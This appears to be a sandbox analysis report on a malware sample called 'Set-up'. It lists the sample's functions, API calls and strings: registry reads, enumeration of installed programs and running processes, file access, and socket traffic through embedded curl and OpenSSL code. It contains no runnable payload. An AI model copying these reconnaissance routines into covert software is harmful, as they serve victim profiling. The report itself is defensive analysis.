ExpandEnvironmentStringsA.KERNEL32(?,?,00000104), ref: 001D9981
RegCloseKey.ADVAPI32(?), ref: 001D998B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 001D9992
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 001D97FE

Part of subcall function 001D78A0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000,?,?,00000000,001DE16D,?), ref: 001D78AF
Part of subcall function 001D78A0: memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0(00000000,?,00000000), ref: 001D78D9

_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 001D9C46

Strings

DatabasePath, xrefs: 001D996B
CARES_HOSTS, xrefs: 001D9788
#, xrefs: 001D9A3F
#, xrefs: 001D9B9D
\hos, xrefs: 001D999A
System\CurrentControlSet\Services\Tcpip\Parameters, xrefs: 001D993C

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: _stricmp_time64strlen$CloseEnvironmentExpandOpenQueryStringsValue_stat64getenvmemcpymemset
String ID: #$#$CARES_HOSTS$DatabasePath$System\CurrentControlSet\Services\Tcpip\Parameters$\hos
API String ID: 3843116398-615551945
Opcode ID: 0c073fd3130010853fce49965007dcca5be45d4ee07ed466c8a54d52f7a18299
Instruction ID: 727cae553831320607397427897ce4d3f91662d673bd152ffdc36fcc6c154229
Opcode Fuzzy Hash: 0c073fd3130010853fce49965007dcca5be45d4ee07ed466c8a54d52f7a18299
Instruction Fuzzy Hash: A13272B6904201ABEB11AB24EC42F2B77E9AF64318F084439F94996363F731ED15D793

Function 00112F17 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 144
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE ref: 00112FED
RegEnumKeyExA.KERNELBASE ref: 001131A5

Strings

d, xrefs: 00112FA0
index, xrefs: 00113112
app_name, xrefs: 001130F0
%s\%s, xrefs: 00113028
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall, xrefs: 00112F49, 00112F71
installed_apps, xrefs: 00112F36
SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall, xrefs: 00112F5D
DisplayName, xrefs: 001130BD

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: EnumOpen
String ID: %s\%s$DisplayName$SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall$SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall$app_name$d$index$installed_apps
API String ID: 3231578192-3120786300
Opcode ID: d0f2ef00edcaabdc9ce51ce5068507efc8c3ecdd7c5ae3eecd98e6d99423a65b
Instruction ID: 4f134a46c79b6275487f9f11f39a2e60a70f0c8f604ae6901bdaeea7439f5986
Opcode Fuzzy Hash: d0f2ef00edcaabdc9ce51ce5068507efc8c3ecdd7c5ae3eecd98e6d99423a65b
Instruction Fuzzy Hash: 4471A4B4904319DFDB50DF69D98479EBBF0BF84308F10886DE99897341E7749A888F92

Function 002EE5D0 Relevance: 19.6, APIs: 13, Instructions: 107
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000,002947C4,?,00000000,00000000,00000000,?,00000000,?,0027A31E,?,00747B34), ref: 002EE5E2
MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,00000001,00000000,00000000,?,00000000,002947C4,?,00000000,00000000,00000000,?,00000000,?), ref: 002EE5FA
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,00000001), ref: 002EE637
strlen.API-MS-WIN-CRT-STRING-L1-1-0(0027A31E), ref: 002EE64D
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,0027A31E,00000001,?,00000008,?,?,00000000,002947C4,?,00000000,00000000,00000000,?,00000000), ref: 002EE665
_wfopen.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,00000000,002947C4,?,00000000,00000000,00000000,?,00000000,?,0027A31E,?,00747B34), ref: 002EE678
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00000000,002947C4,?,00000000,00000000,00000000,?,00000000,?,0027A31E,?,00747B34), ref: 002EE685
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00000000,002947C4,?,00000000,00000000,00000000,?,00000000,?,0027A31E,?,00747B34), ref: 002EE690
fopen.API-MS-WIN-CRT-STDIO-L1-1-0(?,0027A31E,?,?,?,?,00000000,002947C4,?,00000000,00000000,00000000,?,00000000,?,0027A31E), ref: 002EE6A6
GetLastError.KERNEL32(?,00000000,002947C4,?,00000000,00000000,00000000,?,00000000,?,0027A31E,?,00747B34), ref: 002EE6B0
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,00000001,00000000,00000000,?,00000000,002947C4,?,00000000,00000000,00000000,?,00000000,?), ref: 002EE6CC
GetLastError.KERNEL32(?,00000000,002947C4,?,00000000,00000000,00000000,?,00000000,?,0027A31E,?,00747B34), ref: 002EE6E2
fopen.API-MS-WIN-CRT-STDIO-L1-1-0(?,0027A31E,?,00000000,002947C4,?,00000000,00000000,00000000,?,00000000,?,0027A31E,?,00747B34), ref: 002EE6FA

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast_errnofopenstrlen$_wfopen
String ID:
API String ID: 2867842857-0
Opcode ID: fb6ce71668cc4e0553679f4ddb62e0cf49097eeb4cc5e79673ab897da9c38489
Instruction ID: b282dfa84373bab4bbe6272d70b1a88efde71282803e50b3b0a3bc76e57046e5
Opcode Fuzzy Hash: fb6ce71668cc4e0553679f4ddb62e0cf49097eeb4cc5e79673ab897da9c38489
Instruction Fuzzy Hash: 1731C279260241BBEF206F76DC49F6B3B69FB45715F148538FA12C92D0EB309910CB61

Function 00148B50 Relevance: 19.5, APIs: 6, Strings: 5, Instructions: 263
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

connect.WS2_32(?,?,00000001), ref: 00148C2F
WSAGetLastError.WS2_32 ref: 00148C39
SleepEx.KERNELBASE(00000000,00000000), ref: 00148CF3
getsockopt.WS2_32(?,0000FFFF,00001007,00000000,00000004), ref: 00148D0E
WSAGetLastError.WS2_32 ref: 00148D18
WSASetLastError.WS2_32(00000000), ref: 00148E0C

Strings

not connected yet, xrefs: 00148BDC
local address %s port %d..., xrefs: 00148C7F
connected, xrefs: 00148DA7
cf-socket.c, xrefs: 00148EDF
connect to %s port %u from %s port %d failed: %s, xrefs: 00148E78

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: ErrorLast$Sleepconnectgetsockopt
String ID: cf-socket.c$connect to %s port %u from %s port %d failed: %s$connected$local address %s port %d...$not connected yet
API String ID: 2513251565-879669977
Opcode ID: fd1e0fd90eee1459b6bdedaabf90a5fbe6d8051a4d858fde47008c49bef4e895
Instruction ID: f133e657bb255a9bbec497ee78849d820744d31e168e514c81c6c63131676a73
Opcode Fuzzy Hash: fd1e0fd90eee1459b6bdedaabf90a5fbe6d8051a4d858fde47008c49bef4e895
Instruction Fuzzy Hash: 80B1C170604305AFD710CF24C885BAABBE1EF55328F048529FC599B2E2DB70EC59CB61

Function 001176A0 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 69
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

send.WS2_32(multi.c,?,?,?), ref: 001176DE
send.WS2_32(multi.c,?,?,?), ref: 001176EA
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 00117721
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00117745
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0011774D

Strings

SEND %s:%d send(%lu) = %ld, xrefs: 001176F8
send, xrefs: 0011770B, 0011772A
LIMIT %s:%d %s reached memlimit, xrefs: 00117712, 00117731
multi.c, xrefs: 001176DD, 001176E9

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: send$__acrt_iob_func_errnofflush
String ID: LIMIT %s:%d %s reached memlimit$SEND %s:%d send(%lu) = %ld$multi.c$send
API String ID: 3540913164-3388739168
Opcode ID: d70bd25fe905a51ff82916103480c15c81efdb2d42cc972b62a504975dee3009
Instruction ID: 5c59a24f9290d8819e1fbbc21ce3fc87c70e8b908ec3bf84b85fc31c7a6204c4
Opcode Fuzzy Hash: d70bd25fe905a51ff82916103480c15c81efdb2d42cc972b62a504975dee3009
Instruction Fuzzy Hash: 1E112BB590D394AFE114AB159C49D673B7DEBC2B68F050928F80863391DB719C40C7B1

Function 002947B0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 95
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 002EE5D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000,002947C4,?,00000000,00000000,00000000,?,00000000,?,0027A31E,?,00747B34), ref: 002EE5E2
Part of subcall function 002EE5D0: MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,00000001,00000000,00000000,?,00000000,002947C4,?,00000000,00000000,00000000,?,00000000,?), ref: 002EE5FA
Part of subcall function 002EE5D0: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,00000001), ref: 002EE637
Part of subcall function 002EE5D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(0027A31E), ref: 002EE64D
Part of subcall function 002EE5D0: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,0027A31E,00000001,?,00000008,?,?,00000000,002947C4,?,00000000,00000000,00000000,?,00000000), ref: 002EE665
Part of subcall function 002EE5D0: _wfopen.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,00000000,002947C4,?,00000000,00000000,00000000,?,00000000,?,0027A31E,?,00747B34), ref: 002EE678
Part of subcall function 002EE5D0: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00000000,002947C4,?,00000000,00000000,00000000,?,00000000,?,0027A31E,?,00747B34), ref: 002EE685
Part of subcall function 002EE5D0: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00000000,002947C4,?,00000000,00000000,00000000,?,00000000,?,0027A31E,?,00747B34), ref: 002EE690
Part of subcall function 002EE5D0: fopen.API-MS-WIN-CRT-STDIO-L1-1-0(?,0027A31E,?,?,?,?,00000000,002947C4,?,00000000,00000000,00000000,?,00000000,?,0027A31E), ref: 002EE6A6

strchr.API-MS-WIN-CRT-PRIVATE-L1-1-0(00000000,00000062,?,00747B34), ref: 002947CC
GetLastError.KERNEL32(?,?,?,?,?,?,00747B34), ref: 0029483D
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,00747B34), ref: 00294855
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,00747B34), ref: 00294860
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,00747B34), ref: 0029488E

Strings

calling fopen(%s, %s), xrefs: 00294845
crypto/bio/bss_file.c, xrefs: 00294830, 00294877, 002948A4
BIO_new_file, xrefs: 00294829, 00294870, 0029489D

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: _errno$ByteCharMultiWide$strlen$ErrorLast_wfopenfclosefopenstrchr
String ID: BIO_new_file$calling fopen(%s, %s)$crypto/bio/bss_file.c
API String ID: 3063597995-203430365
Opcode ID: 9665eb1cb9367036a26055699c1710966f1b995df39463d113b2d8dc8e551b5d
Instruction ID: 1c515a9dd71dc34f9a453451951a0234ce25f306df7d3796fbfedb42b315d7ab
Opcode Fuzzy Hash: 9665eb1cb9367036a26055699c1710966f1b995df39463d113b2d8dc8e551b5d
Instruction Fuzzy Hash: 5321C5E5BE53417BE52036613C07F1B3A489B62B99F090128FA09652C3EA9969358DB3

Function 001131D7 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 73
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 001131EF
Process32First.KERNEL32 ref: 00113245
Process32Next.KERNEL32 ref: 001132CC
CloseHandle.KERNELBASE ref: 001132E7

Strings

pid, xrefs: 00113297
processes, xrefs: 001132F3
name, xrefs: 00113272
CreateToolhelp32Snapshot failed., xrefs: 0011320E

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID: CreateToolhelp32Snapshot failed.$name$pid$processes
API String ID: 420147892-2059488242
Opcode ID: e55e2ab02c353fdc7afba9f964aba512da88e284d97cd36ea04e87de40655b9f
Instruction ID: a444e7a6ee388bc1ef914dfc5e14bb3d9fe8abef1103cfae938f1e6e83c50a43
Opcode Fuzzy Hash: e55e2ab02c353fdc7afba9f964aba512da88e284d97cd36ea04e87de40655b9f
Instruction Fuzzy Hash: 0231B4B09053189FCB40EFB8D58569EBBF1AF44304F01896DE899E7341EB349A84CF92

Function 00117770 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 69
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

recv.WS2_32(?,?,001494BF,?), ref: 001177AE
recv.WS2_32(?,?,001494BF,?), ref: 001177BA
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000000,00000630,cf-socket.c), ref: 001177F1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00117815
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0011781D

Strings

recv, xrefs: 001177DB, 001177FA
RECV %s:%d recv(%lu) = %ld, xrefs: 001177C8
LIMIT %s:%d %s reached memlimit, xrefs: 001177E2, 00117801

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: recv$__acrt_iob_func_errnofflush
String ID: LIMIT %s:%d %s reached memlimit$RECV %s:%d recv(%lu) = %ld$recv
API String ID: 2542159810-640788491
Opcode ID: 06071abef6728305a774704deac1d1514e799be07da9adbafb1180bf754db78f
Instruction ID: b570f905c47cdcfcd3925fbeb04fbb33509c865a346027665c02b49eb48f3091
Opcode Fuzzy Hash: 06071abef6728305a774704deac1d1514e799be07da9adbafb1180bf754db78f
Instruction Fuzzy Hash: FC1108B5909394AFD114AB159C4DD673B6DEBC6B68F050A28F908633D1D7719C40C6F1

Function 001175E0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 63networkCOMMON

Download Yara Rule

APIs

socket.WS2_32(?,?,?), ref: 00117618
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 00117659
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 0011767D
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00117685

Strings

socket, xrefs: 00117643, 00117662
FD %s:%d socket() = %d, xrefs: 0011762E
LIMIT %s:%d %s reached memlimit, xrefs: 0011764A, 00117669

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: __acrt_iob_func_errnofflushsocket
String ID: FD %s:%d socket() = %d$LIMIT %s:%d %s reached memlimit$socket
API String ID: 166263346-842387772
Opcode ID: 4807b7593a6f9434a60f56110e6f229566716103763822acc9a82844db8141d8
Instruction ID: 8910d2ad258e673ecd573453ddf3e7a2005abf9f8d7a7d8435b5997eb16078fe
Opcode Fuzzy Hash: 4807b7593a6f9434a60f56110e6f229566716103763822acc9a82844db8141d8
Instruction Fuzzy Hash: 44115C326096916FD6102B29AC06E873B69EFC1724F050524F804A33E1D7358C90C7D1

Function 0049D1D0 Relevance: 10.9, APIs: 3, Strings: 3, Instructions: 399COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0049D1E8

Strings

NaN, xrefs: 0049DBAB
@, xrefs: 0049D4B7
Inf, xrefs: 0049DCA5, 0049DCBD

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

